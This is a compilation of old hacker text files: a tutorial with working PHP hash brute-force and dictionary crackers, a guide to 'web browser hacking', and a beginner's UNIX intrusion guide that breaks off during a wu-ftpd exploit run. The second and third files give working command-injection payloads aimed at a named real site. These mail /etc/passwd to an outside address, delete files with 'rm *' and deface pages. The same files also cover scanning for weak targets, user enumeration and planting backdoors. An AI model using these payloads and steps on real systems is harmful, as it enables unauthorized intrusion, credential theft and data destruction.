Analysis of brute force & dictionary attacks


.-::Analysis of brute force & dictionary attacks.::-.



[ 0x00 ] Chapters
================================================
[ 0x01 ] Prologue
[ 0x02 ] Terms & Conventions
[ 0x03 ] Tools, Environment & Prerequisites
[ 0x04 ] Basic Theory
[ 0x05 ] ASCII Codes
[ 0x06 ] Hashes
[ 0x07 ] Brute Force Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0a ] Dictionary Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0d ] Famous Crackers
[ 0x0e ] Pros and Cons of the 2 attacks
[ 0x0f ] Epilogue
================================================



[ 0x01 ] Prologue
===============================================
A lot of discussion has taken place for a long time in password cracking techniques.
In this paper we will analyze the two most commonly used techniques.
The first one being "Brute Force Attacks" and the second "Dictionary Attacks".
We will start from the hardest and most effective one, brute force.
After that, dictionary attacks will look like a piece of cake.

I hope that you will find the paper interesting and enlightening.


[ 0x02 ] Terms & Conventions
============================================
Blocks between:
"*********************************************************************************************"
contain code.

Blocks between:
"---------------------------------------------------------------------------------------------"
contain preformatted or special text.

Cryptography:
=============
Cryptography (or cryptology; derived from Greek ....... krypt�s "hidden," and ....... gr�fein
"to write") is a discipline of mathematics concerned with information security and related issues,
particularly encryption, authentication, and access control. Its purpose is to hide the meaning
of a message rather than its existence. [ http://en.wikipedia.org/wiki/Cryptography ]

Encryption:
===========
In cryptography, encryption is the process of obscuring information to make it unreadable without
special knowledge. [ http://en.wikipedia.org/wiki/Encryption ]


[ 0x03 ] Tools, Environment & Prerequisites
============================================
In oder for the examples presented here to be functional your system must comply with the following:

Operating System:
=================
Linux with a 2.6.x kernel.
Other versions might work, I can't guarantee anything though.
Get it from: http://www.kernel.org/

Compiler:
=========
gcc 4.1.0 and higher
I'm pretty sure any other version will work, it's just that v.4.1.0 is what I used to develop the examples.
Get it from: http://gcc.gnu.org/

PHP:
====
PHP 5.1.2 will be used for some examples.
I'm pretty sure any other version will work.
Get it from: http://www.php.net/

Chances are you already have all that software installed, but better make sure.


[ 0x04 ] Basic Theory
============================================
Ok, that's fairly easy to grasp, even though I'm a lousy teacher. :P
Let's move on.


[ 0x05 ] ASCII Codes
============================================
You probably already know this but it doesn't hurt to review it.
Computers don't know characters, they only understand binary, "0"s & "1"s.
For our comfort, though, we have fashioned other systems too, Hexadecimal, Decimal, Octal etc.
It would be pretty hard for a human to read binary, even decimal, that's when ASCII comes into play.
ASCII, American Standard for Information Interchange, codes represent characters and are expressed
in Decimal, Hexadecimal etc.
We will work with decimal codes here.
An example follows:
"A"=65, "B"=66 ... "Z"=90
So "ZAPOTEK" = 90 65 80 79 84 69 75 .
That's very useful when it comes to generating passwords, you'll see why in later chapters.


[ 0x06 ] Hashes
============================================
That's significantly harder than the ASCII codes.
Long story short, a hash is a "fingerprint" of some piece of data.
In general, a lot of hash functions exist, the most popular are MD5, SHA1, CRC.
What makes hashes so important is that they are one-way, at least they are supposed to be.
For example, the word "hash" has an MD5 hash of "0800fc577294c34e0b28ad2839435945".
And the fact that it is one-way means that we cannot figure out what the encrypted data was from it's hash.
Hashes are also used as checksums, meaning that we can use them to check if transported data is not
corrupted in some way. Even if a byte is missing from the data the hash will differ from the original one.
That comes in handy in password validation too, you'll see.


[ 0x07 ] Brute Force Attack
============================================
Remember when I said that we cannot recompute the data from the hash?
That's was true, the only thing we can try is bruteforcing.
Say, we have the password "hash", which converts to "0800fc577294c34e0b28ad2839435945".
The only way we can figure out the password from the hash is to brute force it.


[ 0x08 ] Theory
============================================
Brute forcing is the method of testing random strings against a given hash until we find a match.
The way string generation works is that we generate a random number between the ASCII codes "65" to "90",
that's for capital, English, characters, and then convert it to it's ASCII equivalent character
By adding up characters we generate our random string.
Looping through random strings until we exhaust the keyspace is the hard part because the keyspace increases
dramatically depending on the characters in the string, it's length, and the HASH function used.

Generally the following keyspace formula applies:
---------------------------------------------------------------------------------------------
keyspace = characters_used ^ string_length
---------------------------------------------------------------------------------------------
characters_used = the number of different characters used in the string
string_length = the amount of characters in a string

Worst case scenario is:
---------------------------------------------------------------------------------------------
keyspace = 94 ^ a_very_big_number
---------------------------------------------------------------------------------------------
94 ensues from the number of printable ASCII characters.

In case you didn't notice, keyspace is equal to the number of possible generated strings for the
given character set and string length.
So, looping until we exhaust the keyspace ensures that we will find a match.
If however the keyspace is exhausted and we have no match, either the string length is wrong,
or the character set is different from what was expected.
That's pretty much the gist.


[ 0x09 ] Source Code Analysis
============================================
This is a John the Ripper kind of bruteforcer in PHP:

bruteforcer.php:
*********************************************************************************************
<?php
/*
 * @author: zapotek <zapotek[at]segfault.gr>
 * @version: 0.1
 * @name: MD5/SHA1 BruteForcer
 * @description: A sample MD5/SHA1 bruteforcer in PHP, inspired from JTR.
 */
error_reporting(0);

echo "MD5/SHA1 Bruteforcer\n".
"by Zapotek <zapotek [at] segfault.gr\n\n";

// is we have insuficient parameters return usage
if ($argc!=3){
  echo "Usage:
".$argv[0]." <hash> <lenght>
<hash> The MD5/SHA1 hash
<lenght> The estimated length of the encrypted string\n";
exit(1);
}


array_shift($argv);
$hash = array_shift($argv); // get the hash
$len = (int) array_shift($argv); // get the hash length
$start = strtotime ("now");
$start2 = strtotime ("now");
$keyspace = pow(75,$len); // compute keyspace

// decide the encryption algorithm
switch (strlen($hash)) {

//If the Hash is 32 chars long it's a MD5 Hash
//(Only for HEX encoded hashes)
case 32;
$algo="MD5";
break;

//If the Hash is 40 chars long it's a SHA1 Hash
//(Only for HEX encoded hashes)
case 40;
$algo="SHA1";
break;

//Else print error msg
default;
echo "Could not determine the encryption algorithm.\n";
echo "Ensure that the Hash is correct and try again.\n";
exit();
}

// generate initial key
$key = "";
for ($y=0;$y<$len;$y++){
$key .= "0";
}

// return some info to the user
echo "Specified string length: $len characters\n".str_repeat("-",65).
"\n$algo hash: $hash\n".str_repeat("-",65).
"\nKeySpace: $keyspace characters\n".str_repeat("-",65)."\n";

// loop through the keyspace
for ($x=0;$x<$keyspace;$x++){
// generate random string
for ($y=0;$y<$len;$y++){
// if we haven't reached "z" yet, move on to the next character
if ($key[$y] != "z"){
// create character from number
$key[$y] = chr(ord($key[$y])+1);
// zero the rest of the string out
if ($y > 0){
for ($z = 0; $z < $y; $z++){
$key[$z] = "0";
}
}
break;
}
}

// create hash from random string
$gen_hash = ($algo=="MD5")? md5($key):sha1($key);
// if the hashes match we have a winner!
if($hash==$gen_hash){
// inform the user we cracked the hash
echo "\nDecrypted string: $key\n".
str_repeat("-",65).
"\nOperation took: ".
date("H:i:s",mktime(0,0,strtotime("now")-$start2)).
"\n".str_repeat("-",65)."\n";
// and exit
exit(0);
}

// print out some statistics
if ($x % 24000 == 0){
$x2++;
if ($x2 == 4){
$x2 =0;
$time = strtotime ("now") - $start;
$start = strtotime("now");
if ($time==0) $time=1;
$rate = (24000 *4) / $time;
echo " $x/$keyspace ($key) [$rate Keys/sec]".
" [".round(100-(($keyspace-$x)/$keyspace)*100,3)."%]".
" [".gmdate("H:i:s", round((($keyspace-$x)/$rate),3))." left]\n";
}
}
}

// if the keyspace loop is finished with no match inform the user we failed
echo "\nKeyspace exhausted.\n".
"Please check the provided lentgh and try again.\n"
?>

*********************************************************************************************

Lets give this baby a trial run.

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php 900150983cd24fb0d6963f7d28e17f72 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        3 characters
-----------------------------------------------------------------
MD5 hash:                       900150983cd24fb0d6963f7d28e17f72
-----------------------------------------------------------------
KeySpace:                       421875 characters
-----------------------------------------------------------------
        72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
        168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
        264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string:               abc
-----------------------------------------------------------------
Operation took:                 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php a9993e364706816aba3e25717850c26c9cd0d89d 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        3 characters
-----------------------------------------------------------------
SHA1 hash:                      a9993e364706816aba3e25717850c26c9cd0d89d
-----------------------------------------------------------------
KeySpace:                       421875 characters
-----------------------------------------------------------------
        72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
        168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
        264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string:               abc
-----------------------------------------------------------------
Operation took:                 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Well, that's easy, lets give it a bit of a challenge.
Let's see what happens with "fb50df9b6b86db51569f2bab6457a24e" (= "zapo")
(I'd give it "zapotek" but the keyspace would get exhausted at around 6hours, so...)
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php fb50df9b6b86db51569f2bab6457a24e 4
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length:        4 characters
-----------------------------------------------------------------
MD5 hash:                       fb50df9b6b86db51569f2bab6457a24e
-----------------------------------------------------------------
KeySpace:                       31640625 characters
-----------------------------------------------------------------
        72000/31640625 (1l<0) [96000 Keys/sec] [0.228%] [00:05:28 left]
        168000/31640625 (1qM0) [96000 Keys/sec] [0.531%] [00:05:27 left]
        264000/31640625 (1v^0) [96000 Keys/sec] [0.834%] [00:05:26 left]
.............
        26664000/31640625 (1D?o) [96000 Keys/sec] [84.271%] [00:00:51 left]
        26760000/31640625 (1IPo) [48000 Keys/sec] [84.575%] [00:01:41 left]
        26856000/31640625 (1Nao) [96000 Keys/sec] [84.878%] [00:00:49 left]

Decrypted string:               zapo
-----------------------------------------------------------------
Operation took:                 00:03:57
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Pretty cool huh?
By the way, the time reported at the right is how much it will take for the script to try all
the possible combinations and not necessarily the exact time it'll take to crack a given hash.

The comments in code make it easy to grasp so I won't explain it line-to-line, so I'll just paint
you the big picture in steps.

1) Read the hash & estimated string length from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Compute the keyspace (75^estimated string length)
4) Create an initial key containing only "0"s
5) Loop until we have reached the end of the keyspace
6) Loop until we have crated a random string
7) Compare the random string's hash with the one provided by the user
8) If we have a match inform the user and exit, else keep looping
9) If we have exhausted the keyspace tell the user we were unable to find a matching hash

That's pretty much it...


[ 0x0a ] Dictionary Attack
============================================
If you understood the previous chapter this will be a walk in the park.


[ 0x08 ] Theory
============================================
Dictionary attacks are like brute force attacks, but significantly easier.
Instead of creating our own random strings we read them from a dictionary and then test them against
a given hash. And, instead of looping until the end of the keyspace, we loop until the end of file.
That's all there is to it.
Now, to some code.


[ 0x09 ] Source Code Analysis
============================================
dicattack.php:
*********************************************************************************************
#!/usr/bin/php
<?php

/*
 * @author: zapotek <zapotek[at]segfault.gr>
 * @version: 0.1
 * @name: DicAttack
 * @description: A sample dictionary attacker in PHP.
 */

$supported= "MD5/SHA1";
$name= array_shift($argv);
$wordlst= array_shift($argv);
$hash= array_shift($argv);

// timer
function getmicrotime() {
    list ($usec, $sec)= explode(" ", microtime());
    return ((float) $usec + (float) $sec);
}

    // the function that does the cracking
    function crack($algo) {
        global $wordlst, $hash;
        // start the timer
        $time_start= getmicrotime();
    // read the dictionary
        $wordlist= file_get_contents($wordlst);
    // do some error checking
        if (!$wordlist) {
            echo "Cannot access $wordlst.\n";
            echo "Ensure that the file exists and try again.\n";
        }else{
        // put the words in an array
        $words=explode("\n",$wordlist);
            // create each word's hash
            foreach ($words as $word) {
// create the word's hash
                switch ($algo) {

                    case "md5";
                        $word_hash= md5($word);
                        break;

                    case "sha1";
                        $word_hash= sha1($word);
                        break;
                }
        // compare the hashes
                if ($word_hash == $hash) {
                    // stop the timer
                    $time_stop= getmicrotime();
                    echo "Crack Successful!\n"."-----------------\n";
                    echo "$hash = $word\n"."-----------------\n";
                    $time= $time_stop - $time_start;
                    echo "[ Operation took $time seconds ]\n\n";
   exit();
                }
            }
        }
    }

// in case of insuficient arguments return usage info
if ($argc != 3) {
    stamp();
    exit();
}

// decide the hash type
// given that the hash is in hexadecimal format
switch (strlen($hash)) {

    // if the hash is 32 bytes it must be a MD5 Hash
    case 32;
        echo "\nGuessing MD5...\n\n";
        crack("md5");
        break;

    // if the hash is 40 bytes it must be a MD5 Hash
    case 40;
        echo "\nGuessing SHA1...\n\n";
        crack("sha1");
        break;

    // else return an error msg
    default;
        echo "Could not determine the encryption algorithm.\n";
        echo "Ensure that the Hash is correct and try again.\n";
        break;
}

// the usage stamp
function stamp() {
    global $supported, $name;
    echo "\nDicAttack\n-------\n";
    echo "Simple Wordlist Based Password Cracker\n";
    echo "Currently supporting $supported\n";
    echo "Syntax: $name <wordlist file> <hash>\n\n";
}

echo "Couldn't find a match check your dictionary or hash and retry.\n";

?>

*********************************************************************************************
The code is fairly simple and usage examples follow.

We will be using this file as a wordlist.

list.txt:
---------------------------------------------------------------------------------------------
a
b
c
ab
bc
abc

---------------------------------------------------------------------------------------------

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt 900150983cd24fb0d6963f7d28e17f72

Guessing MD5...

Crack Successful!
-----------------
900150983cd24fb0d6963f7d28e17f72 = abc
-----------------
[ Operation took 0.028094053268433 seconds ]

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt a9993e364706816aba3e25717850c26c9cd0d89d

Guessing SHA1...

Crack Successful!
-----------------
a9993e364706816aba3e25717850c26c9cd0d89d = abc
-----------------
[ Operation took 0.00048303604125977 seconds ]

---------------------------------------------------------------------------------------------

Once again, these are the steps:
1) Read the hash from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Read the dictionary
4) Put every word  in an array
5) Loop through the array of words
6) Create each words hash and compare it with the user given hash
7) If we have a match inform the user and exit, else keep looping
8) If we have exhausted the array tell the user we were unable to find a matching hash


[ 0x0d ] Famous Crackers
============================================
Ok, these scripts are far from optimized and not suited for serious cracking.
Fortunately, a lot of advanced, high-end, applications exist, a list follows:

John The Ripper
===============
Ok, who hasn't heard of that before huh?
Very fast hash cracker supporting a lot of algorithms.
Website: http://www.openwall.com/john/

Cain & Abel
===============
That's more of a security suite than just a cracker.
Sniffer, cracker, decrypter, encrypter you name it, it's got it.
It's only for windows and it can extract VERY interesting information from a system.
Website: http://www.oxid.it/cain.html

RainbowCrack
===============
Now that's a big boy toy!
The difference of RainbowCrack from other crackers is that it reads precomputed hashes
which make password cracking faster. Considering that the precomputed hash tables can
reach terrabytes in size you can imagine how many hashes you have before you even know it.
Problem is though, unless you have a cluster it is better to get the hash tables from
somewhere else than generate them yourself.
Website: http://www.antsight.com/zsl/rainbowcrack/

L0phtCrack5
===============
That's the Cadillac of password recovery tools for Windows.
It's a sad thing that @stake got bought from Symantec and stopped supporting LC.
Search for LC5, though, chances are someone has a copy buried somewhere.

LCP
===============
That's a freeware L0phtCrack clone.
Unfortunately, it runs only on Windows boxes
Website: http://www.lcpsoft.com/english/index.htm


These are the most widely used applications, give them a shot, you'll love them.


[ 0x0e ] Pros and Cons of the 2 attacks
============================================

Brute Force
=================
Pros Cons
----- -----
It is guaranteed that the hash will get cracked It might even take years for the crack to complete
It requires a lot of computation power

Dictionary Attack
=================
Pros Cons
----- -----
Faster than bruteforcing Significantly less chances to crack a hash than bruteforce
A lot of big dictionaries are freely available If the encrypted string is random no "valid" wordlist will crack it


[ 0x0f ] Epilogue
============================================
Ok, this paper got to an end.
It wasn't a big, in depth, analysis of the 2 techniques but I hope that it
served as a good starting point.



Hacking from your Web Browser



Hacking from your Web Browser


************************************************************************

I - Introduction

This file will describe several techiniques to aquire a password file just by using an ordinary web browser.  The information provided will be best described for the beginner hacker, but all hackers should benifit from this information.  We will only cov

er phf in this file but, feel free to explore other programs in the cgi directory such as nph-test-cgi or test-cgi.  And now . . . get comfortable... sit back.... and read.

II - Hacking from your Web Browser

There are several techniques on what I call "Web Browser Hacking".  Many beginners dont know that you cant query a etc/passwd file from your browser and in this chapter I will describe all the ways to aquire a passwd file.  First you need to find a box t

hat is running the cgi-bin/phf file on their system.  A great way to find out without trial and error is to go to www.altavista.com and just search on cgi-bin AND perl.exe or cgi-bin AND phf.

      a.  Finger box hacking:
Lets say you wanted to break into somewhere like .... hmmmm AOL.  The first thing we would do is type in their web site in the URL:  Http://www.aol.com.  The next thing we would do is add /cgi-bin/finger to the web URL so it would look like this Http://

www.aol.com/cgi-bin/finger.  If the finger gateway is operational a box should appear for you to enter the name you want to finger.  If it is operational you have a chance to receive the etc/passwd file.  Next thing you will probably want to do is search

for a mailto on the web page... just scan the page for any mailto refs.  Go back to the finger box and type in this query......   nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd ...this string takes nobody and emails the passwd file to your email

address.  If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

       b.  The common cgi-bin/phf query:
This section is for the very beginning hacker (All advanced hackers need not apply)  Lets take the same scenerio from the first example except in the URL we would type ... Http://www.aol.com/cgi-bin/phf ... if the phf is operational and has not been rem

oved you should get a series of search boxes on the next page ( ignore these boxs)  to your URL you would add this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire string would look like this Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20

/etc/passwd.  This string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. (This is considering that they are not :*: or :x:).

        c.  Dont take my cgi form:
This section will explain how to use somebody else's cgi form to obtain the etc/passwd file.  Lets say you look at a document source from a web page and find this in the source:
                            <html><body>
                            <h2>This is a form to go to Modify</h2>
   <form action = "http://www.aol.com/cgi-bin/doc.pl"  method="get">
                            <input type="hidden" name="myaddress" value="nobody@aol.com">
     <input type="text" name="input">
   <input type="submit" value="send">
   </form>
   </body></html>

This is a simple form that asks a user to input a message to be sent to a script called doc.pl.  Included in the doc.pl script is the following line which is assuming the line has already been parsed out.

    system("/usr/lib/sendmail -t $myaddress < $tempfile")

Now lets set up your page:

   <html><body>
   <h2>Hack AOL</h2>
   <form action = "http://www.aol.com/cgi-bin/doc.pl" method = "get">
   <input type="hidden"  name="myaddress"
value=" ; rm * ;mail -s file youraddress@yourisp.com < /etc/passwd;">
   <input type = "text" name="input">
   <input type = "submit" value=:"getpasswd">
   </form>

The semicolons in the hidden value field act as delimiters, they separate the UNIX commands, this executes commands on the same line.  The system call in PERL and creates a UNIX shell, and in here mails the passwd file to you.

        d.  Changing web pages from your browser:
This short section will describe the string to use to edit a web page from your web browser.  Same scenario as the first section....  http://www.aol.com.... we will then add the following string cgi-bin/phf?Qalias=x%0a/bin/echo%20 "some text and shit"%2

0>>filename.html......  This string will allow you to write to the filename.html and add "some text and shit" be noted it has to be in html format.  You can place text, pictures or whatever you like.

III - Conclusion

This information should be able to direct a beginner in obtaining the etc/passwd file from a system using the web browser... It may also inform the guru's and advanced hackers some bits of information of perl and cgi.  In further reading check out my sec

ond file that will involve erasing log files from the web browser.  I hope you all enjoyed this documentation and found it somewhat interesting...... wake up!!!   thus I conclude.....

                                                              Modify.

IV - Suggested Reading

Phrack Magazine:  Very informative.... covers just about everything from phreaking to hacking.... Just download all the damn articles.

Building Internet Firewalls by O'Reilly & Associates, Inc. aka "The Big Wooden Door"":  Covers all kinds of attacks, different firewall solutions, and invulnerablities.

Perl in 21 days by Samsnet:  Good starting book in Perl programming also covers security issues.

Cgi programming by Samsnet:  Good starter for Cgi but if you dont know Perl or C programming then dont bother, also covers security issues.

UNIX hacking



                     

                                     

                                           ..  The Beginner's guide ..
                                           ..    to UNIX hacking
   ..

                                       

                                       
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,,..


              Ok done with the sloppy ass ascii art. The reason I am
even writing this text is because of the incoming increase in questions like "how do I hack
hotmail" or aol or another lame question. This text should explain to you that you have to
actually know something to "hack." Read through the whole text if you are a beginner, and
if you know a little, skip through and you should understand it. I will probably be adding
to this text to make it include more info, and to make it easier to understand, the basic
reason I wrote this is to STOP people from asking me and others how to do STUPID things
yes it is STUPID to ask how to hack, it makes you look stupid and you will never be anything
unless you can't teach yourself.

             I at first was just a kid in middle school who wanted to
mess up people's computers. I asked people about virii and trojans, and used them, I was a
lamer. I asked people in school and eventually found someone who was interested in hacking.
He showed me some tricks, and i payed him money i wanted to learn so bad. He had been using unix
for years, he told me to get a shell, I had no idea what he meant. He said it was access to
a unix computer. I was still a little confused, but eventually I got the hang of using a shell
instead of winshit. I read all I could, I spent all day on the computer, i started losing
interest in socialization in the real world. I didn't care, I spent over 12 hours a day on
the computer at that time, I read everything i could get a hold of, the very first text I
read was the "mostly harmless hacking" text. It interested me, I only used the windows stuff
at first like changing the shutdown screen and other simple things. I was making websites
on hacking although i didn't know what it was, I would include tools for windows like
trojans and virii although they weren't hacking it was something I liked at the time. I
later got into mailbombers, flooders, DoS things. After I learned all of that (I realize
that it is not hacking now don't flame me here) I started going back into getting shells.
Well at that time all the free shells I could find just plain sucked. I heard a couple
things about Linux. I asked my "hacker friend" at school, he said don't get Linux get a
real UNIX. He moved to PA, and I have never heard from him since, I have tryed to track him
down to thank him for what he has showed me but have had no luck. Well I got linux. The
install was text based then but it ran fast, it was a lot more reliable than windows,
never crashed. Well My 56k didn't work. I went on IRC and asked around #linux. I found
out I had a modem called a "winmodem", I win-modem is a modem controlled by the software.
They are generally slower than hardware modems and they don't work on linux. I played
around with the command line seeing what things I could do, than I eventually raised $100
to buy a Linux compatible modem. I got it running. It was great. I have been using it ever
since, and still am learning more about it. My parents say I am "addicted to the computer",
I try to convince them I am not. I never seem to get bored with it, I always have something
new to do with it. I have lost some friends in the time, hardly ever leaving my desk, I quit
the Varsity Football Team, I was a starter, I have quit jobs, all just to use this damn machine
I am starting to get pissed at myself so I will stop writing this boring paragraph. I hope someone
out there finds this useful :)


                                                  CONTENTS
                                                ============
                                 
                                    (1.) Common knowledge
                                    (2.) Supplies
                                    (3.) Easy hacks
                                    (4.) What you need to do to get in
                                    (5.) Enumeration
                                    (6.) Common Mistakes leading to compromise
                                    (7.) Buffer overflows
                                    (8.) Firewalls
                                    (9.) What to do after getting in
                                    (10.) How to not get caught
                                    (11.) Log cleaning
                                    (12.) Finding a use for the newly rooted box
                                    (13.) My feelings on the bad hackers
                                     

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                               
                                                DISCLAIMER
                                             ================

     Ok by reading this text you agree to NOT hold me or anyone affiliated with r00t-access responsible
     for your actions.



(1.) The best way to use this text is to read it once fully, than read
     it again and try out some things explained here. Ok now on with the text.
     When you read this text I am expecting you to have basic knowledge of what
     telnet is, some basic tcp/ip knowledge... If there is something little here
     you don't understand, don't hesitate to join #r00t-access on irc.dal.net,
     that is one of the places I hang out on.


-------------------------------------------------------------------------------------------------------


                                              SUPPLIES
                                             ==========

(2.) Here listed is some supplies you will need throughout this tutorial, they can be obtained
     easily, at anti-secure.com and packetstorm.securify.com, just do a search for the names of the
     tools I list.


       1. - superscan (for windows)
       2. - nmap (for unix)
       3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
       4. - compiler on the shell
       5. - wingates (you can use them as telnet proxys)

    That is it!

------------------------------------------------------------------------------------------------------



                                           EASY TARGETS
                                          ==============

(3.) Here I talk about finding easy targets.


       1. - go to altavista.com search for "games" make the language Japanese or another language
            other than english, reason is these tend to be low on security
       2. - Scan a Cable or DSL subnet for hosts with lots of services running, use nmap, make sure
            when it finds an open port the state is "open" not "closed" or "filtered"
            nmap's portscan report will tell you this, I will not explain how to use nmap since the
            man page shows you enough
       3. - make sure nmap is installed, use the command I post below or similar
            to find hosts with lots of common unix services running-

  (NOTE: $ will represent a regular user shell in this text and # will be representing a superuser
   shell. I use 24.112.*.* as a sample, replace it with who you want to scan)
     
$ nmap -p 21,23 24.112.*.*
   

--------------------------------------------------------------------------------------------------


                                          TO GET IN
                                        ============

(4.) To get in you will need to gather as much info on this host as you can, make sure it is
     a dumb SysAdmin, since this is your first hack. Then exploit the System, I will explain more
     on this and info getting later.


-------------------------------------------------------------------------------------------------


                                   
                                         ENUMERATION
                                        =============

(5,> Ok we have our target. Now to go further we need some info. First telnet to it's port 79, now
     if this is open you can possibly gain a user list of who is logged on.Just telnet in and press enter.
      Lets say it is enabled
     and allows you to view online users. Look at the example below-

-----------------------------------------------------------------------------
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Login     Name              Tty   Idle  Login Time  Office      Office Phone
gt        grahm crackhead   /1    Sep 1 12:01      

-----------------------------------------------------------------------------


     Ok if you get a login write it down
     and try various logins for it. Maybe get Brutus, a telnet brute forcer which you can download for
     windows at- www.packetstorm.securify.com. Use that, try many wordlists. If you just got a
     "no one is logged on"
     message than perhaps you should get "haktek" for windows, you can also get that at-
     www.packetstorm.securify.com. Haktek will let you monitor the finger daemon for as long as you want
     and log to a file everyone who logs in. This can be usefull. Another way is to use the sendmail.
     If they have a lot of users try telneting in and trying to find some valid names, maybe even try
     brute forcing it with a program or a shell script you could type up. Look below, I give an example
     of a sendmail vulnerable to gathering valid logins-

-----------------------------------------------------------------------------
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun <wally@target.domain>
vrfy wally
250 Wally Kolcun <Wally@target.domain>
expn Billy
550 BIlly... User Unknown
----------------------------------------------------------------------------

As you see above I telneted to their smtp daemon, issued "expn <usernamehere>" and it told me if it was a
real user, then at the end I showed an example of what would happen if the user did not exist, when I
typed "expn Billy" it showed the user was unknown so it was not a valid login, this also helps you get
their email address when you would do some social engineering.

Another way of gathering usernames would be to search usenet, altavista, for that specific domain.
If you search newsgroups for the domain, there may be some useful info on it, like a problem they are having
maybe with setting permissions, which could get you in possibly.

Other daemons to help you could be systat, netstat...

Telnet can also help you figure out the OS, which can be important if you want to exploit it, some have the
OS printed in the telnet login, like below:

----------------------------------------------------------------------------
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
.----------------------------------------------------------------------------

As you can see above the system we are cracking now is a redhat 6.1 box

Social engineering can also get you somewhere, take the example of Kevin Mitnick, He used social engineering
to get into Novell, a HUGE system. What he did was talked like he knew someone who was working there. He
knew they were at vacation at the time, but he had their name. He called up Novell's offices and asked for
the person, the secretary said she was on vacation, so he said he needed to get access from her, he was
supposed to have. She gave him info that got him in.

----------------------------------------------------------------------------------------------------------

                                            COMMON FLAWS
                                          ===============



(6.) Sometimes people make mistakes. This can get you in. Some people just aren't good sysadmins. A very
     common flaw is people having trouble setting permissions, some have so much trouble they set things
     writable to everyone. This can be trouble. Lets have an example here. Someone sets the cron.daily
     writable for everyone. You could just upload somebackdoor and have it executed by the cron daemon which
     would escalate your access to the system.

     Now I will tell you about the most terrible thing to do. If a user ever uses IRC on the system, and
     if they also had dcc file send on autoexcept, also having the files go to their home directory, they
     could be sent a hacked up .bash_profile, if written correctly this could make them do something not
     wanted. Like adding a user when they logged in, or mailing someone a login/pass. This is absolutely
     the easiest way to get in.

---------------------------------------------------------------------------------------------------------

                                         BUFFER OVERFLOWS/EXPLOITING
                                      ================================

(7.) I am not going into buffer overflows too deep. I will just explain what they are so you understand
     and go into the next section.

     BUFFER OVERFLOWS- On daemons there is a thing called a buffer limit. The buffer limit limits the
    ================== amount of bytes that come in. Sometimes by issuing specific code you ca overflow
                       the buffer and spawn a root shell or regular user shell. An example of this is
                       the recent Buffer overflow in wu-ftpd 2.6.0 (1). Below I will show you it-

------------------------------------------------------------------------------

$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target    : host with any wuftpd
user      : anonymous user
dir       : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g        : enables magic string digging
-x        : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr  : this is pointer to shellcode
systypes:
  0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
  1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
  2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
  3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
  4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
  5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
  7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
  8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages


$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS <shellcode>
